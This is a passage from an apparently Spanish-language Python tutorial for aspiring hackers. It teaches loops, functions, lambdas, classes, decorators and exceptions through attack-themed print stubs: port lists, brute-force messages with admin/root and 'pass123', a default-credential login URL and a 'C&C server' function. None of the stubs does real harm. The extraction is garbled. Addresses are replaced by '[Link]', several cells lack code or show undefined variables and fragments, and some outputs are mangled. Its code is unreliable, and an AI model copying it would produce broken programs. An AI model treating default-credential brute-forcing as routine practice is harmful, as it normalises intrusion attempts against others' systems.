En el siguiente ejemplo vamos a realizar un ejercicio para que nos quede más claro como lo podemos
utilizar.
Bucle en Tupla:
In [155]:
to_scraping = ("[Link]","[Link]","[Link]")
for host in to_scraping:
print("* Scraping Host " + host)
En la primera línea de código definimos una tupla con varios sitios Web. La segunda línea declaramos el
ciclo for, lo sigue la variable host donde guardamos lo que sacamos de la tupla de nombre to_scraping,
terminado por dos puntos (:).
El ciclo for va recorriendo una a una las posiciones de la tupla hasta que ya no encuentre nada(NULL), lo que
en programación se interpretaría como un espacio vacío, este elemento ordena al bucle a saltar de la
iteración con un break saliéndose del loop .
In [156]:
to_scan = ["[Link]","[Link]","[Link]"]
61
for host in to_scan:
print("--> Scan Host " + host)
Como se puede apreciar en el código, la única diferencia es el uso de corchetes que diferencia una lista de
una tupla.
Otra forma de realizar bucles for es utilizando el método range() que provee Python.
In [157]:
for i in range(5, 10, 1):
print("[+] scanning 192.168.1."+str(i))
In [158]:
for i in range(1, 11, 2):
print("[+] scanning 192.168.1."+str(i))
También se puede realizar solo por el número hasta donde se debe llegar.
In [159]:
for i in range(10):
print("[+] scanning 192.168.1."+str(i))
62
[+] scanning [Link]
[+] scanning [Link]
[+] scanning [Link]
[+] scanning [Link]
[+] scanning [Link]
[+] scanning [Link]
[+] scanning [Link]
[+] scanning [Link]
[+] scanning [Link]
In [160]:
for i in range(10, 0, -1):
print("[+] scanning 192.168.1."+str(i))
Hagamos un ejemplo un poco más avanzado donde tengamos que simular el buscar palabras claves dentro
de twitter:
In [161]:
tweets = [
"Just installed a new firewall to enhance network security. #CyberSecurity",
"Planning a weekend getaway. #TravelPlans",
"Be aware of phishing emails pretending to be from your bank. Always verify the
source. #Phishing",
"Updated our antivirus software to protect against the latest malware threats.",
"Data breach reported at XXXX. Change your passwords immediately if you're a
customer.",
"Received a security alert from my monitoring system about unusual login
activity.",
"Implementing two-factor authentication (2FA) across all platforms for added
security.",
"Cybersecurity is everyone's responsibility. Stay vigilant and report any
suspicious activity.",
"Just had a great lunch with friends. #EnjoyLife",
"Excited about the upcoming movie release! #MovieBuff"
]
In [162]:
63
palabras_clave = ['security', 'phishing', 'malware', 'breach', 'authentication']
Buscamos los tweets que contengan las palabras claves por medio de iteraciones y convertimos a
minúsculas los resultados con lower() para búsquedas sensible a mayúsculas y tener mejores resultados:
In [163]:
for i, tweet in enumerate(tweets):
for palabra in palabras_clave:
if palabra in [Link]():
print("Palabra clave " + palabra + " encontrada en el tweet " + str(i + 1))
print(tweet)
Funciones en Python
Las funciones existen para hacernos la vida más fácil… o al menos para evitar que repitamos código como
locos. Cuando programamos, es muy común caer en la tentación de copiar y pegar instrucciones… una y
otra vez… hasta que el algoritmo termina convertido en un laberinto imposible de mantener. Antes se
programaba así… de manera muy estructurada… repitiendo bloques completos a medida que el programa
avanzaba. Era efectivo… pero agotador.
Hoy, en cambio, podemos agrupar un conjunto de instrucciones dentro de una función… y reutilizar ese
mismo bloque cada vez que lo necesitemos. En palabras simples… una función es un pequeño trozo de
programa que realiza una tarea específica… siempre igual… cada vez que lo llamamos. Es como tener un
droide asignado a una misión, lo llamas… hace su trabajo… y sigue su camino. O como ese amigo que sabe
64
exactamente qué tecla presionar en el notebook cuando algo falla… aunque en algunos casos ese amigo
termina siendo el gato… y ahí ya no hay garantía de nada.
En Python, las funciones se declaran con la palabra reservada def. Con esto, le decimos al intérprete que
estamos definiendo una función. Luego viene el nombre de la función, que idealmente debería describir lo
que hace… para que otro humano, o tú mismo dentro de tres semanas, entienda sin sufrir.
La línea termina con dos puntos :y, como siempre en Python, usamos una identación de 4 espacios para
marcar el bloque de código que pertenece a esa función.
Así vamos construyendo piezas de programa más ordenadas… más limpias… y mucho más fáciles de
mantener… algo que, créeme, se agradece bastante cuando el proyecto crece y la Fuerza ya no alcanza
para recordar todo lo que escribiste.
Ejemplo:
In [164]:
def mostrar_banner():
msj ="""
__ .__ __
_______/ |______ _______| |__ _____ ____ | | __ ______
/ ___/\ __\__ \\_ __ \ | \\__ \ _/ ___\| |/ / / ___/
\___ \ | | / __ \| | \/ Y \/ __ \\ \___| < \___ \
/____ > |__| (____ /__| |___| (____ /\___ >__|_ \/____ >
\/ \/ \/ \/ \/ \/ \/
version :1.0
"""
print(msj)
Ahora para llamar a la función solo debemos llamarla y podremos ejecutar su resultado:
In [165]:
mostrar_banner()
65
__ .__ __
_______/ |______ _______| |__ _____ ____ | | __ ______
/ ___/\ __\__ \_ __ \ | \__ \ _/ ___\| |/ / / ___/
\___ \ | | / __ \| | \/ Y \/ __ \ \___| < \___ /____ > |__| (____
/__| |___| (____ /\___ >__|_ \/____ >
\/ \/ \/ \/ \/ \/ \/
version :1.0
Como se aprecia en el resultado, no sucedió nada al cargar la función en el intérprete, solo se inició la rutina
una vez que cargamos este pequeño trozo de programa y la llamamos mostrar_banner() , es decir, si
queremos que se ejecute nuestra función la tenemos que llamarla por su nombre.
In [166]:
mostrar_banner()
mostrar_banner()
__ .__ __
_______/ |______ _______| |__ _____ ____ | | __ ______
/ ___/\ __\__ \_ __ \ | \__ \ _/ ___\| |/ / / ___/
\___ \ | | / __ \| | \/ Y \/ __ \ \___| < \___ /____ > |__| (____
/__| |___| (____ /\___ >__|_ \/____ >
\/ \/ \/ \/ \/ \/ \/
version :1.0
__ .__ __
_______/ |______ _______| |__ _____ ____ | | __ ______
/ ___/\ __\__ \_ __ \ | \__ \ _/ ___\| |/ / / ___/
\___ \ | | / __ \| | \/ Y \/ __ \ \___| < \___ /____ > |__| (____
/__| |___| (____ /\___ >__|_ \/____ >
\/ \/ \/ \/ \/ \/ \/
version :1.0
Ahora, como comprenderán, tener funciones en nuestros programas o scripts es muy útil.. sobre todo cuando
queremos realizar una tarea repetitiva sin tener que estar escribiendo código a cada momento.
Cabe señalar, que estas funciones, que no tienen la palabra reservada return se les llama funciones void o
vacías, son una forma muy básica de ordenar un código fuente y su resultado, no retorna ninguna variable o
valor al software para su posterior funcionamiento. Si tomamos en cuenta lo mencionado anteriormente, esta
66
forma de función podría limitar nuestros programas, si es que elegimos cerrarlos a que hagan una tarea
específica sin tener ninguna variante que haga cambiar sus resultados, su elección dependerá de la
complejidad de la tarea y de la división de algoritmos para su posterior mantenimiento.
Para esto usamos la palabra reservada return…. que le indica a Python exactamente qué debe entregar al
finalizar la función. Sin return, la función ejecuta sus tareas… pero no envía nada de vuelta. Con return, en
cambio, obtenemos un resultado claro… directo… y listo para seguir el flujo del programa.
Es una forma ordenada de separar tareas… y de mantener el código más limpio, especialmente cuando
estamos construyendo scripts que deben tomar decisiones basadas en los valores que obtienen de otras
funciones.
In [167]:
def puertos():
port = [21,22,23,80,443,8080,3306]
return port
In [168]:
target = "[Link]"
ports = puertos()
for p in ports:
print("[*] Attack to " + target + " Port "+ str(p))
La función declarada guarda en un conjunto de puertos a atacar en la variable local port, luego se retorna
un objeto tipo list desde la función. Esto quiere decir que cada vez que llamemos a la función puertos, esta
nos va a devolver una lista de puertos por defecto que preparemos.... Luego se recorre la lista con un ciclo
for y se escribe por pantalla el puerto que se está atacando.
67
Si ponemos un poquito de dificultad al ejemplo anterior, podemos agregar una función más para completar el
ejemplo. La función getbanner(ip, port) toma dos valores de entrada( host y puerto) y se dedique a
rescatar el banner del servicio antes de atacar un host específico.
In [169]:
def getbanner(ip, port):
print("--> Get banner on " + ip + ":" + str(port))
target = "[Link]"
ports = puertos()
for p in ports:
print("-"*60)
getbanner(target, p)
print("[*] Attack to " + target + " Port "+ str(p))
print("-"*60)
------------------------------------------------------------
--> Get banner on [Link]:21
[*] Attack to [Link] Port 21
------------------------------------------------------------
------------------------------------------------------------
--> Get banner on [Link]:22
[*] Attack to [Link] Port 22
------------------------------------------------------------
------------------------------------------------------------
--> Get banner on [Link]:23
[*] Attack to [Link] Port 23
------------------------------------------------------------
------------------------------------------------------------
--> Get banner on [Link]:80
[*] Attack to [Link] Port 80
------------------------------------------------------------
------------------------------------------------------------
--> Get banner on [Link]:443
[*] Attack to [Link] Port 443
------------------------------------------------------------
------------------------------------------------------------
--> Get banner on [Link]:8080
[*] Attack to [Link] Port 8080
------------------------------------------------------------
------------------------------------------------------------
--> Get banner on [Link]:3306
[*] Attack to [Link] Port 3306
------------------------------------------------------------
68
Funciones con Parámetros
Hasta ahora puede que las funciones todavía no les parezcan tan útiles… y quizá prefieran escribir todo de
forma lineal, siguiendo el flujo del programa como si fuera una carretera sin desvíos. Pero aquí es donde la
cosa se empieza a poner interesante…
Las funciones con parámetros nos permiten ejecutar tareas de forma dinámica. Los parámetros son valores
que la función necesita para poder operar. A mí me gusta imaginarlas como una receta que siempre es la
misma… pero con ingredientes que pueden ir cambiando según la ocasión.
La estructura sigue siendo la misma que ya vimos… solo que esta vez, dentro de los paréntesis, indicamos
los valores necesarios para que la función haga su trabajo. Eso le da flexibilidad… personalización… y nos
ayuda a evitar repetir código innecesariamente.
Ejemplo:
In [170]:
def attack_login_http_by_get(ips,ports):
for target in ips:
for p in ports:
print("-"*70)
print("[->] Attack on " + target + ":" + str(p) )
print("[->] [Link] + target + ":" +
str(p)+"/[Link]?user=admin&password=password" )
print("-"*70)
In [171]:
hosts = ["[Link]","[Link]"]
ports =[80,8080,8081]
attack_login_http_by_get(hosts,ports)
----------------------------------------------------------------------
[->] Attack on [Link]:80
[->] [Link]
----------------------------------------------------------------------
----------------------------------------------------------------------
[->] Attack on [Link]:8080
[->] [Link]
----------------------------------------------------------------------
----------------------------------------------------------------------
[->] Attack on [Link]:8081
[->] [Link]
----------------------------------------------------------------------
----------------------------------------------------------------------
[->] Attack on [Link]:80
[->] [Link]
----------------------------------------------------------------------
----------------------------------------------------------------------
69
[->] Attack on [Link]:8080
[->] [Link]
----------------------------------------------------------------------
----------------------------------------------------------------------
[->] Attack on [Link]:8081
[->] [Link]
----------------------------------------------------------------------
En el ejemplo se define una función que supuestamente ataca a un servidor… iterando por varios servicios.
La función necesita dos argumentos o variables, para realizar su tarea… aunque perfectamente podríamos
agregar más parámetros si el escenario lo requiere.
La idea es sencilla, la función representa la acción… y los argumentos le dicen dónde y cómo debe actuar.
Es como configurar una herramienta antes de usarla… eliges el objetivo… eliges el servicio… y la función
hace el resto cada vez que la llamas.
Con esto, el código se vuelve más fácil de mantener… más ordenado… y mucho más flexible, especialmente
cuando estamos escribiendo scripts que interactúan con varios servicios o que deben adaptarse a distintos
entornos sin reescribir todo desde cero.
Ahora vamos a realizar otro ejemplo… uno que, en teoría, decide qué ataque ejecutar dependiendo del
servicio que esté corriendo en el servidor víctima. Para esto vamos a usar dos funciones, lo que le da un
poco más de complejidad al script y nos permite ver cómo varias piezas del código pueden trabajar juntas.
La idea es simple, definimos las funciones… y luego las llamamos cuando las necesitemos, según el
resultado de la verificación del servicio.
Ejemplo:
In [172]:
def attackFTP(ip,port):
print("[+] Attack FTP on " + ip + ":"+ str(port))
print("-" * 60)
def attackSSH(ip,port):
print("[+] Attack SSH on " + ip + ":"+ str(port))
print("-" * 60)
70
elif p == 22:
print("[-] Target IP " + host + "...")
attackSSH(host,p)
else:
print("[!] script Coming Soon... " + str(p))
print("-" * 60)
Ahora, si necesitamos hacer un script un nivel un poco más complejo y nos imaginamos que tenemos una
lista para hacer un ataque de fuerza bruta, quedaría de la siguiente forma.
In [173]:
def dicct_user():
return ["admin","root"]
def attackFTP(ip,port):
print("[+] Attack FTP on " + ip + ":"+ str(port))
for usr in dicct_user():
print("[+] connecting FTP " + ip + ":"+ str(port) + " User:" + usr +
"&passwd:pass123")
print("-" * 60)
def attackSSH(ip,port):
print("[+] Attack SSH on " + ip + ":"+ str(port))
for usr in dicct_user():
print("[+] connecting SSH " + ip + ":"+ str(port) + " User:" + usr +
"&passwd:pass123")
print("-" * 60)
victimas = ["[Link]", "[Link]"]
puertos = [21,22,80,443]
71
for host in victimas:
for p in puertos:
if p == 21:
print("[-] Target IP " + host +"...")
attackFTP(host,p)
elif p == 22:
print("[-] Target IP " + host + "...")
attackSSH(host,p)
else:
print("[!] script Coming Soon... " + str(p))
print("-" * 60)
72
La idea es sencilla, si la función no recibe un valor para ese parámetro, Python usa el que está definido por
defecto. Es como dejar un plan base… algo que garantice que la función siga funcionando aunque el usuario
del código no entregue toda la información.
Esto ayuda bastante a que nuestro código sea más seguro… más predecible… y más fácil de mantener. Y
en un entorno como el de StarHacks, donde a veces estamos probando cosas rápido en el Notebook… tener
valores por defecto evita más de alguna sorpresa.
Ejemplo:
In [174]:
def enable_server(ip ="[Link]", port= 8080):
print("[*] The C&C server was exposed on the [Link] + ip + ":" + str(port))
In [175]:
enable_server()
In [176]:
enable_server("[Link]",8088)
Como podemos apreciar en el ejercicio anterior y su resultado, en el primer ejemplo, al ejecutar la función sin
ningún parámetro, se imprimió el valor por defecto [*] The C&C server was exposed on the
[Link] La segunda vez que ejecutamos la función y le asignamos un valor al
parámetro, ejecutó lo que le indicamos en el resultado [*] The C&C server was exposed on the
[Link]
Función Lambda
Una función lambda es simplemente una manera de definir una función anónima en Python. Es decir…
funciones que no necesitan un nombre formal. Son útiles cuando queremos crear pequeñas operaciones de
una sola línea… y usar una función completa sería demasiado para el contexto. Algo así como resolver un
detalle rápido sin armar toda una estructura.
73
La forma general es:
lambda parámetros:expresión
Son expresiones compactas… precisas… y muy útiles cuando necesitamos pasar funciones como
argumentos, o cuando estamos filtrando, ordenando o evaluando datos al vuelo.
Ejemplo:
In [177]:
# función normal
def printTitle(t):
print("<h1>"+t+"</h1>")
In [178]:
printTitle = lambda t:"<h1>"+t+"</h1>"
printTitle(" Hacking !")
Out[178]:
'<h1> Hacking !</h1>'
Otro ejemplo, para demostrar la función lambda... podría ser una función anónima para ordenar puertos.
In [179]:
port = [443,80,80,21,3306,8081,81,21, 22, 23, 80]
order_port = lambda x : [Link]()
order_port(port)
In [180]:
port
Out[180]:
[21, 21, 22, 23, 80, 80, 80, 81, 443, 3306, 8081]
Ahora, podemos usar una función anónima en combinación con map() esto, para obtener el mismo resultado
de una manera mucho más simple:
In [181]:
port = [21,22, 23, 80]
def bruteforce(x):
print("[+] brute force attack port " +str(x))
def fuzzing(x):
print("[+] fuzzing attack port " +str(x))
funciones = [bruteforce, fuzzing]
for e in port:
74
list(map(lambda x : x(e), funciones))
La función map() es bastante común entre programadores… y más de alguna vez nos la vamos a encontrar
revisando código ajeno. Por eso vale la pena practicarla un poco… entender cómo trabaja… y, sobre todo,
perderle ese miedo inicial que suele generar cuando uno recién la ve.
La idea es simple: la función map() ejecuta una función específica para cada elemento de un iterable. Cada
elemento se envía a la función como parámetro… uno por uno… como si Python fuera pasando cada dato
por una pequeña máquina que aplica la transformación que nosotros definimos.
En términos simples… a map() le podemos pasar: una función y una lista (o cualquier iterable) y Python se
encarga de aplicar esa función a todos los elementos, evitando que escribamos bucles largos o código
repetitivo. Es una manera limpia de acortar camino… mantener el script ordenado… y darle un toque más
funcional al proyecto.
La sintaxis es:
map(function, iterables)
Pasemos primero a un ejemplo sencillo… y luego a uno un poco más complejo para entender realmente
cómo opera map() en la práctica.
In [182]:
def readbanner(ip, port):
return "Conection to " + ip + ":" + str(port)
In [183]:
list(x)
Out[183]:
['Conection to [Link]:80',
'Conection to [Link]:8081',
'Conection to [Link]:443']
75
Teniendo el ejemplo anterior… que es más sencillo de entender… Pasemos ahora a un código que sí se usa
en la vida real: validar si una dirección IP es válida o no. Este tipo de validaciones aparece en varios
proyectos, sobre todo en seguridad informática... así que es un buen ejemplo para ver map() trabajando en
algo más concreto.
Esta vez dejaré comentarios en el código… para que el paso a paso se pueda leer con calma y se entienda
qué hace cada parte del proceso.
In [184]:
# definimos una función donde recibimos un parámetro de entrada que será la IP
def isValidIP(s):
Desmenucemos este algoritmo para entender la lógica y vayamos soltando la mente, este ejercicio es un
poco más complejo para un principiante que ve por primera vez el uso de map(). La primera validación es la
siguiente, carguemos manualmente el parámetro de entrada s:
In [185]:
s ="[Link]"
Ahora hagamos la primera comparación [Link]('.') != 3 solo podemos pasar esa validación...si el
resultado es False, si fuese verdadera la afirmación nos retornaría un Invalid Ip address:
In [186]:
[Link]('.') != 3
76
Out[186]:
False
Una vez pasado el primer filtro, se separa el string en una lista como se ve en el ejercicio posterior.
In [187]:
list(map(str, [Link]('.')))
Out[187]:
['10', '10', '1', '3']
Esta última validación es de formato y la probaremos para ver su resultado, tomando por ejemplo el primer
octeto:
In [188]:
ele = "10"
int(ele) < 0 or int(ele) > 255 or (ele[0]=='0' and len(ele)!=1)
Out[188]:
False
In [189]:
print(isValidIP('[Link]'))
Valid Ip address
In [190]:
print(isValidIP('[Link]'))
Invalid Ip address
La programación orientada a objetos (POO, u OOP según sus siglas en inglés) es un paradigma de
programación que viene a innovar la forma de obtener resultados. Los objetos manipulan los datos de
entrada para la obtención de datos de salida específicos, donde cada objeto ofrece una funcionalidad
especial.
77
Muchos de los objetos pre-diseñados de los lenguajes de programación actuales permiten la agrupación en
bibliotecas o librerías, sin embargo, muchos de estos lenguajes permiten al usuario la creación de sus
propias bibliotecas.
La programación orientada a objetos difiere de la programación estructurada tradicional, en la que los datos y
los procedimientos están separados y sin relación, ya que lo único que se busca es el procesamiento de
unos datos de entrada para obtener otros de salida.
Objeto Instancia de una clase. Entidad provista de un conjunto de propiedades o atributos (datos) y de
comportamiento o funcionalidad (métodos), los mismos que consecuentemente reaccionan a eventos. Se
corresponden con los objetos reales del mundo que nos rodea, o con objetos internos del sistema (del
programa).
Método Algoritmo asociado a un objeto (o a una clase de objetos), cuya ejecución se desencadena tras la
recepción de un "mensaje". Desde el punto de vista del comportamiento, es lo que el objeto puede hacer. Un
método puede producir un cambio en las propiedades del objeto, o la generación de un "evento" con un
nuevo mensaje para otro objeto del sistema.
Evento Es un suceso en el sistema (tal como una interacción del usuario con la máquina, o un mensaje
enviado por un objeto). El sistema maneja el evento enviando el mensaje adecuado al objeto pertinente.
También se puede definir como evento la reacción que puede desencadenar un objeto; es decir, la acción
que genera.
En términos simple, una clase es una cosa, un método es lo que hace la cosa, los atributos son variables y
las instancias son copias de un objeto con sus métodos. Ahora se podrían estar preguntando, que diferencia
tiene un método a una función y la respuesta es que un método está dentro de una clase y una función está
78
fuera. Me gustaría profundizar mucho más en este tema, pero me desenfocaría del objetivo principal por el
cual escribo, que es enseñar a hacer herramientas de hacking. Después de esta breve introducción vamos a
ver unos ejemplos prácticos. Las clases en python se definen con la palabra reservada class seguida del
nombre genérico del objeto y finalizando con dos puntos (:)
Ejemplo clase:
class Ataque:
...
...
…
Las propiedades del objeto Ataque podrían ser por ejemplo la dirección ip y el puerto a atacar.
Ejemplo Propiedades:
class Ataque:
ip = "[Link]"
puerto = 80
...
Los métodos son funciones o mini tareas que realiza el objeto en forma de rutina, como por ejemplo
conectarse con un servidor, escribir en un archivo, etc.
Ejemplo métodos:
In [191]:
class Ataque:
def __init__(self, ip, puerto):
[Link] = ip
[Link] = puerto
def FuerzaBrutaSSH(self):
print ("SSH >> atacando al host " + [Link] + " Puerto : " + str([Link]))
def FuerzaBrutaFTP(self):
print ("FTP >> atacando al host " + [Link] + " Puerto : " + str([Link]))
Nótese el cambio que realice, el primer método __init __ () es un método especial, se llama constructor
de la clase o el método de inicialización. Es lo primero que se ejecuta cuando sé instancia la clase.
La palabra reservada self hace referencia al mismo objeto, es decir, se llama a sí mismo, esto significa que
cuando llamamos a [Link], recogemos lo que está dentro de la variable ip en el programa de ejemplo.
79
El self parámetro se refiere al objeto individual en sí. Se utiliza para obtener o establecer atributos de la
instancia en particular.
In [192]:
# Se asigna la clase ataqué a la variable atq
atq = Ataque("[Link]",22) # La clase necesita dos parámetros (Ip,puerto)
[Link]() # Al estar cargadas las variables se utilizan y se puede
ejecutar el método FuerzaBrutaSSH()
[Link] = 21 # Se puede cambiar el puerto si se desea solo modificando el atributo
llamado puerto.
[Link]() # Al heredar el objeto se puede usar el método FuerzaBrutaFTP()
[Link] = 2222 # Si vemos nuevamente, se puede cambiar el atributo sin cambiar la
lógica del programa.
[Link]() # Podemos ejecutar a gusto el método cuantas veces queramos.
El hecho de llamar a la clase Ataque y guardarla en una variable se llama instancia y significa en palabras
simples que, la clase Ataque con todos sus métodos y atributos son asignados a atq y así le decimos que se
va a llamar ahora, es como heredar los superpoderes solamente por asignarlos y ponerles un nombre nuevo.
La POO se creó con el sentido de poder humanizar la codificación y hacer más fácil la mantención y
entendimiento del software.
Como podemos apreciar en el código... se usa el ataque como un objeto el cual tiene atributos y métodos,
cada método se puede reutilizar en función de cambiar su atributo. Luego de estar instanciado y heredar
todos sus métodos en una variable, podemos repetir una tarea varias veces y modificar los elementos las
veces que queramos sin cambiar su estructura principal.
Herencia en Python
La herencia nos permite definir una clase que hereda todos los métodos y propiedades de otra. Es una forma
cómoda de reutilizar código… extenderlo… y evitar que estemos escribiendo lo mismo una y otra vez. En
Python, esta mecánica es muy natural y le da mucha flexibilidad a nuestro diseño.
80
Un ejemplo galáctico para aterrizar la idea
Supongamos que tenemos una clase padre llamada Jedi. Dentro trae métodos clásicos como:
● usar_la_fuerza()
● encender_sable()
● mantener_calma_en_medio_del_caos()
Ahora… definimos una clase hijo llamada Luke. Luke hereda todo lo anterior tal cual… porque, bueno…
heredó la Fuerza de su padre, Darth Vader, aunque nadie en la galaxia esperaba que la herencia viniera con
tanto drama familiar.
Pero claro… Luke también puede definir sus propios métodos… por ejemplo:
● detectar_tormenta_en_la_fuerza()
● ignorar_tentaciones_del_lado_oscuro()
La gracia es que Luke no parte de cero… parte con una base sólida. Y eso mismo buscamos cuando
diseñamos nuestras clases en Python, partir con un “Jedi base” y agregar las habilidades necesarias para la
misión.
Así como Luke usa la herencia para complementar sus habilidades, nosotros podemos usarla para modelar
comportamientos más específicos… como distintas clases de ataques, todas basadas en una clase general
llamada, por ejemplo, Ataque.
Ejemplo:
In [193]:
class Ataque: # Definamos esta clase como la clase padre.
def __init__(self, ip, puerto):
[Link] = ip
[Link] = puerto
def FuerzaBrutaSSH(self):
print ("SSH >> atacando al host " + [Link] + " Puerto : " + str([Link]))
def FuerzaBrutaFTP(self):
print ("FTP >> atacando al host " + [Link] + " Puerto : " + str([Link]))
#Creamos una clase hijo llamada VulnerabilityScan que hereda los ataques de su padre.
class VulnerabilityScan(Ataque):
pass
81
Ejemplo:
In [194]:
x = VulnerabilityScan("[Link]", 21)
[Link]()
Ahora, si deseamos agregar a la clase hijo una nueva funcionalidad, se podría hacer de la siguiente manera:
In [195]:
class Ataque: # definamos esta clase como la clase padre
def __init__(self, ip, puerto):
[Link] = ip
[Link] = puerto
def FuerzaBrutaSSH(self):
print ("SSH >> atacando al host " + [Link] + " Puerto : " + str([Link]))
def FuerzaBrutaFTP(self):
print ("FTP >> atacando al host " + [Link] + " Puerto : " + str([Link]))
class VulnerabilityScan(Ataque):
def getBanner(self): # nueva funcionalidad
print ("Obteniendo Banner del Host :" + [Link] + " Puerto : " +
str([Link]))
In [196]:
x = VulnerabilityScan("[Link]", 21)
[Link]()
[Link]()
Como se puede ver en los ejemplos, como programadores tenemos siempre la posibilidad de extender
funcionalidades según lo necesitemos, usarlas a voluntad y entregar superpoderes a nuestro código siempre
y cuando lo tengamos ordenado pensando en objetos.
Decoradores
No puedo terminar este módulo sin hablar de decoradores. Y sí… lo admito… esto es más un gusto personal
que una obligación del temario, pero vale completamente la pena. Los decoradores son una de esas
82
genialidades que tiene la programación en Python… pequeñas piezas de magia que permiten hacer cosas
muy potentes con muy poco código.
En simple, un decorador es una función… que recibe otra función… y devuelve una función. Sí, lo sé…
suena a trabalenguas. Y probablemente abriste los ojos pensando..... este tipo está definitivamente loco.
Bueno… puede que sí… pero aún así, todo lo que acabo de decir es perfectamente válido en Python.
Ese nivel de flexibilidad permite crear decoradores que extienden el comportamiento de una función sin
modificar su contenido original. Es como ponerle un “filtro” extra… una capa adicional… algo que envuelve y
mejora lo que ya existe, sin tocarlo directamente.
In [197]:
def attackweb(): # Creamos una función.
print("[+] Brute Force Attack ...")
Parece una locura, pero es cierto, se pueden hacer este tipo de cosas en python y es más común su uso de
lo que uno creería que sucede.
Veamos otro ejemplo para ir entendiendo su funcionamiento y vamos a ponerles nombres literales para que
se entienda su funcionamiento y orden de ejecución:
In [198]:
def funcion_primera(funcion_del_medio):
def funcion_final():
print('Inicio de la ejecución')
funcion_del_medio()
print('Después de la ejecución ')
return funcion_final
83
Con el símbolo @nombre_de_mi_funcion_decoradora se llama al decorador.
In [199]:
@funcion_primera
def relleno():
print('[ Starhacks ]')
Ahora basta solo con llamar a la función relleno para que se ejecute esta y desencadene los decoradores.
In [200]:
relleno()
Inicio de la ejecución
[ Starhacks ]
Después de la ejecución
Este ejemplo es muy parecido a un emparedado donde se tiene unas dos tapas y un relleno.
In [109]:
import time
def crack_time(function):
def wrapper(*args, **kwargs): # Al envoltorio le indicamos que queremos recibir
parámetros de entradas
start = [Link]() # Tiempo de inicio
result = function(*args, **kwargs) # La función retorna un resultado
total = [Link]() - start # Contar el tiempo total (término - inicio)
print(total, 'seconds' ) # Imprimimos el resultado.
return result
return wrapper
Teniendo la función lista con nombre crack_time ... procedemos a llamarla ahora desde nuestro programa
principal para que posteriormente sea decorado.
In [202]:
@crack_time
def bruteforece_number(desde, hasta):
import time # Librería necesaria para manejar el tiempo en python
for num in range(desde,hasta):# Creamos credenciales numéricas por rangos
[Link](1) # Esperamos un segundo entre iteración
84
print ("Attack password: 000" + str(num)) # Imprimimos password
Vamos a hacer un ejercicio práctico en Jupyter para entender mejor este proceso. La forma exacta puede
cambiar un poco según la plataforma… pero lo importante es comprender de dónde vienen los import y cómo
se crean nuestras propias librerías.
Lo primero, será crear una carpeta usando un comando de Windows dentro de esta máquina. Esto nos
permite simular la estructura de trabajo real… tal como si estuviéramos organizando nuestro proyecto en un
entorno local.
In [213]:
# !mkdir mi_carpeta #si estás usando linux
!md mi_carpeta
In [214]:
# !chmod +x -R mi_carpeta/ # si usas linux
!icacls mi_carpeta /grant "%USERNAME%":(RX,W) /T
In [216]:
# !pwd # si usas Linux
!dir
85
Directorio de C:\Users\starh\OneDrive\Desktop
Ingresamos a la carpeta para escribir archivos vacíos en ella con touch en caso de linux o manualmente en
windows:
In [217]:
# !touch /content/mi_carpeta/mi_modulo.py # si usas linux
# !touch /content/mi_carpeta/[Link] # si usas linux
En esta parte debes ingresar, buscar tus archivos y escribir tu código sobre ella, si buscas en tus
documentos, la carpeta y los archivos estarán en el menú a tu izquierda en el icono archivos:
86
Completamos los archivos con los siguientes códigos:
Posterior a esto, escribes un archivo llamado [Link] y escribes lo siguiente para llamar a tu módulo:
atq = Ataque("[Link]",22)
[Link]()
[Link] = 21
[Link]()
[Link] = 2222
[Link]()
Finalmente, ejecutas tu archivo con el siguiente comando y tendrás tu propio módulo funcionando:
In [219]:
!python mi_carpeta/[Link]
Estos pasos en una máquina local es mucho más fácil de realizar, pero para no salirnos de este entorno y
que el libro se pueda sustentar en su mayoría en esta plataforma, decidí explicar su desarrollo en este mismo
entorno virtual.
Excepciones de Python
Aprender a manejar excepciones en Python es una de las cosas más útiles cuando creamos herramientas de
ciberseguridad. Gran parte del trabajo en pentesting consiste en probar algo, inyectar algo, y esperar
resultados inesperados. Y si nuestro script no está preparado para fallar… bueno… vamos a terminar con un
87
software inestable, de esos que a veces funcionan… y a veces deciden tomarse el día libre. Si queremos
construir herramientas que no se interrumpan por cualquier error, como intentar conectarse a un puerto
específico, abrir un archivo, escribir un log o procesar un paquete extraño, necesitamos agregar intentos y
excepciones en Python. Las excepciones nos permiten manejar esas situaciones sin que el programa
completo se caiga. Es como decirle al script...... Ya, inténtalo… pero si algo sale mal, no entres en pánico…
avísame, respira… y sigue adelante.
Este enfoque es clave en seguridad informática, donde los resultados rara vez son 100% predecibles… y la
robustez del código es tan importante como la lógica que estamos escribiendo. Listo… ahora podemos pasar
a la Sintaxis:
Python ejecuta el bloque try como una parte normal del programa… y cuando ocurre un error durante su
ejecución, el resto del bloque se detiene y pasa inmediatamente a ejecutar el bloque except.
Es como decirle al código... intenta esto… y si algo sale mal, no te caigas… simplemente toma este otro
camino”.
Un ejemplo clásico es intentar dividir un número por cero… algo que siempre termina mal y que Python
detecta al instante. Aquí lo podemos ver claramente:
In [220]:
x = 1/0
print("[-] Tarea Importante por realizar...")
---------------------------------------------------------------------------
ZeroDivisionError Traceback (most recent call last)
Cell In[220], line 1
----> 1 x = 1/0
2 print("[-] Tarea Importante por realizar...")
88
ZeroDivisionError: division by zero
El resultado de ese ejemplo es un error que rompe el script… paraliza toda la rutina… y ni siquiera alcanza a
ejecutar el print que viene después. Python simplemente detiene la ejecución porque la operación no se
puede resolver.
Para evitar este tipo de situaciones, usamos el manejo de excepciones. Así, en lugar de que el programa se
caiga, podemos capturar el error y seguir funcionando con normalidad.
In [221]:
try:
x = 1/0
except:
print('Ups Ocurrió un error.')
print("[-] Tarea Importante por realizar...")
Como se puede apreciar en el resultado, el error se produce de igual manera, pero la diferencia.... es que la
rutina del print, sí se alcanza a ejecutar y el programa sigue su curso.
Ahora, se puede personalizar un poco más nuestro código, si capturamos el error y lo imprimimos por
pantalla:
In [222]:
try:
x = 1/0
except Exception as e:
print(e)
division by zero
except Exception as e es la forma en que cambiamos el manejo de la excepción para capturar el error y
guardarlo dentro de una variable. En este caso, renombramos la excepción como e… y luego podemos
imprimirla, registrarla o procesarla como queramos. Es una manera ordenada de entender qué pasó sin que
el programa completo se caiga.
Además, las excepciones se pueden capturar de manera múltiple si conocemos la causa de la interrupción.
Por ejemplo, la primera vez que ejecutamos una división por cero, Python nos mostró que el problema era un
89
ZeroDivisionError. Si sabemos el tipo exacto de error, podemos atraparlo directamente y manejarlo de forma
más específica… lo que nos permite escribir código más robusto y mucho más preciso al depurar.
In [223]:
try:
x = 1/0
except ZeroDivisionError:
